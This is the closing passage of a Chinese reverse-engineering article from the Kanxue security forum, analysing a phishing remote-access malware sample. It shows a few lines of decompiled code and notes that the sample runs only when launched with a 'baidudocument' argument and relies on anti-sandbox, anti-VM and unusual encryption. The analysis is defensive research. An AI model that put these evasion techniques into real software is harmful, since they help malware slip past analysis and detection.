*((_OWORD *)v15 + 1) = *((_OWORD *)v16 + 1);
*((_OWORD *)v15 + 2) = *((_OWORD *)v16 + 2);
*((_OWORD *)v15 + 3) = *((_OWORD *)v16 + 3);
*((_OWORD *)v15 + 4) = *((_OWORD *)v16 + 4);
*((_DWORD *)v15 + 20) = *((_DWORD *)v16 + 20);
*((_WORD *)v15 + 42) = *((_WORD *)v16 + 42);
v14[726] = 0;
有个前提,必须携带baidudocument参数。
if ( argc == 1 )
return 0;
五
遗憾结束
这个样本的亮点就是反沙箱,反虚拟机,以及其中奇奇怪怪的加密,当然我感觉这个混淆其实就看脑洞了。
看雪ID:天堂猪0ink
https://bbs.kanxue.com/user-home-959762.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多
原文始发于微信公众号(看雪学苑):反沙箱钓鱼远控样本分析